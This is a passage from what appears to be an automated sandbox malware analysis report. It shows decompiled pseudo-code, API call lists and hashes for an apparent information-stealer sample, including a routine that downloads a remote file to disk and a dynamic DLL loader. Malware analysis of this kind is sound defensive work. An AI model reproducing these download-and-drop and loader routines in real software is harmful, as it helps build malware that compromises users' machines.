				_t337 =  *0x41a764; // 0x768730
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16);
				_t273 =  *0x41a6e0; // 0x768e08
				_t339 =  *0x41a6b4; // 0x768750
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16);
				_t275 =  *0x41a100; // 0x7683d8
				_t341 =  *0x41a078; // 0x767270
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16);
				_t277 =  *0x41a708; // 0x768db8
				_t343 =  *0x41a5c4; // 0x768258
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16);
				_t279 =  *0x41a114; // 0x768378
				_t345 =  *0x41a634; // 0x767090
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16);
				_t281 =  *0x41a3e8; // 0x768c98
				_t347 =  *0x41a414; // 0x7662f8
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16);
				_t283 =  *0x41a398; // 0x768d48
				_t349 =  *0x41a024; // 0x767220
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16);
				_t285 =  *0x41a3bc; // 0x768c68
				_t351 =  *0x41a2c8; // 0x766328
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16);
				_t287 =  *0x41a5c0; // 0x768228
				_t353 =  *0x41a320; // 0x766388
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16);
				_t289 =  *0x41a350; // 0x768ca8
				_t355 =  *0x41a0c4; // 0x767450
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16);
				_t291 =  *0x41a2ec; // 0x768390
				_t357 =  *0x41a620; // 0x766028
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16);
				_t293 =  *0x41a020; // 0x768330
				_t359 =  *0x41a704; // 0x7627e8
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16);
				_t295 =  *0x41a3d0; // 0x7682a0
				_t361 =  *0x41a224; // 0x7685f0
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16);
				_t297 =  *0x41a29c; // 0x768270
				_t363 =  *0x41a7e0; // 0x766358
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16);
				_t299 =  *0x41a57c; // 0x768288
				_t365 =  *0x41a34c; // 0x762820
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16);
				_t301 =  *0x41a060; // 0x768d28
				_t367 =  *0x41a0d0; // 0x767478
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16);
				_t303 =  *0x41a1ec; // 0x768cd8
				_t369 =  *0x41a6dc; // 0x7683a8
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16);
				_t304 =  *0x41a21c; // 0x7682e8
				_t370 =  *0x41a484; // 0x7686d0
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0);
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0x768348
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4);
				E00407150();
				return E00407170();
			}

0x0040a700
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(007672C0,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00767FE8), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007688D0), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007681B0), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00768950), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00768870), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,007681C8), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00768B50), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00768AB0), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00768060), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00768060), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000000), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,00768048), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(00767958), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(00000000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

@pv, xrefs: 0040A84C
(`v, xrefs: 0040AAF8
rv, xrefs: 0040AA60
prv, xrefs: 0040A9C8
(tv, xrefs: 0040A8E4
'v, xrefs: 0040AB1E
pv, xrefs: 0040A956
xtv, xrefs: 0040ABB6
(v, xrefs: 0040AB90
(cv, xrefs: 0040AA86
Xcv, xrefs: 0040AB6A
Ptv, xrefs: 0040AAD2

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: (v$ rv$(`v$(cv$(tv$@pv$Ptv$Xcv$prv$xtv$'v$pv
API String ID: 3801270024-2375135859
Opcode ID: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: f9f69c229b4fad7b4be0c283403aeefac830181a0141db1cfd72c2e6379203af
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

200, xrefs: 00404AD9
https, xrefs: 00404A28

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 005753F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0057541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00575443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0057547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005754A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 005754C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00575503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0057552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00575577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00575593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 005755A9
Sleep.KERNEL32(00007530), ref: 005755C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005755EC
lstrcat.KERNEL32(?,00000000), ref: 00575628
InternetCloseHandle.WININET(00000000), ref: 00575634
InternetCloseHandle.WININET(00000000), ref: 00575641
InternetCloseHandle.WININET(00000000), ref: 0057564E

Part of subcall function 00574A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00574ACE
Part of subcall function 00574A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00574AF6

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: 97beb68d50e38230b945421c5f390d0a354f525eb51e6ba80eda0ea41f277f3d
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: 0F615B71A41319ABEB20CF50DC49FEA7BB4BB08700F10C599B20DAA1C0D7F8AA84DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00577B50, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105libraryloaderstringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32( \v,0041B488,0000FFFF), ref: 00577B7E
lstrcat.KERNEL32(?,0041B488), ref: 00577BAD
lstrcat.KERNEL32(?,004191E8), ref: 00577BBF
lstrcat.KERNEL32(?,00000000), ref: 00577BD0
SetEnvironmentVariableA.KERNEL32( \v,?), ref: 00577BE4
LoadLibraryA.KERNEL32(0041A6CC), ref: 00577C02
GetProcAddress.KERNEL32(0041A824,0041A2B0), ref: 00577C27
GetProcAddress.KERNEL32(0041A824,0041A628), ref: 00577C40
GetProcAddress.KERNEL32(0041A824,0041A1B4), ref: 00577C58
GetProcAddress.KERNEL32(0041A824,0041A12C), ref: 00577C70
GetProcAddress.KERNEL32(0041A824,0041A7B4), ref: 00577C89
GetProcAddress.KERNEL32(0041A824,0041A358), ref: 00577CA1

Strings

\v, xrefs: 00577B78, 00577B7D, 00577BDD, 00577BE3

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: \v
API String ID: 570708976-1751407011
Opcode ID: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction ID: 7ca396fdd5d376b317dc1dea1ec20bd6161ef4314ddfcb1203ecb699960e5fd2
Opcode Fuzzy Hash: 5d1afafd0d255a9686fd40642ef553bfe1b9492984f50bbc3a87acd3736cfc51
Instruction Fuzzy Hash: 94413CB5512204DFD715EFA8FD48AE53BF8BB0C345F04C57AB10982260C77999A2CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x765c20
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x765c20
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x765498
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x7680d8
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x7681e0
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x768890
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x767f70
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x768bb0
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x768210
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(00765C20,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(00765C20,?), ref: 00407994
LoadLibraryA.KERNEL32(00765498), ref: 004079B2
GetProcAddress.KERNEL32(00000000,007680D8), ref: 004079D7
GetProcAddress.KERNEL32(00000000,007681E0), ref: 004079F0
GetProcAddress.KERNEL32(00000000,00768890), ref: 00407A08
GetProcAddress.KERNEL32(00000000,00767F70), ref: 00407A20
GetProcAddress.KERNEL32(00000000,00768BB0), ref: 00407A39
GetProcAddress.KERNEL32(00000000,00768210), ref: 00407A51

Strings

\v, xrefs: 00407928, 0040798D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID: \v
API String ID: 570708976-1751407011
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BE4C, 0040BE4F
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
image/jpeg, xrefs: 0040BDE3

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00578530, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005785AF
RtlAllocateHeap.NTDLL(00000000), ref: 005785B6
lstrcat.KERNEL32(?,0041A208), ref: 00578631

Part of subcall function 00577480: memset.MSVCRT ref: 005774D2
Part of subcall function 00577480: LocalAlloc.KERNEL32(00000040,?), ref: 00577521
Part of subcall function 00577480: lstrcat.KERNEL32(?,00000000), ref: 00577587

lstrcat.KERNEL32(?,00000000), ref: 00578675
lstrcat.KERNEL32(?,0041A488), ref: 00578688
lstrcat.KERNEL32(?,?), ref: 0057869C
lstrcat.KERNEL32(?,0041A158), ref: 005786B0
lstrcat.KERNEL32(?,?), ref: 005786C4
lstrcat.KERNEL32(?,004191F0), ref: 005786D6
lstrcat.KERNEL32(?,?), ref: 005786EA
lstrcat.KERNEL32(?,00418BC0), ref: 005786FC
lstrlen.KERNEL32(?), ref: 0057870E

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: c86cf5618e1a2617ad06baafded72098e4f27cea591eb6330fc35c1287bda84f
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: 715164B1A00108ABCB14DBA4DD4AEEA77B8BF4C705F008594F70997251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00767FA0), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00767F40), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,00768A10), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00574C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00574C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00574C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00574CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00574D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00574D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00574D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00574D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00574DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00574E0C
InternetCloseHandle.WININET(?), ref: 00574E16
InternetCloseHandle.WININET(00000000), ref: 00574E23

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: 6ee1cc1f972ca618a3a23c249a72c27cdc7f3233c03124bc295ffc013810093f
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
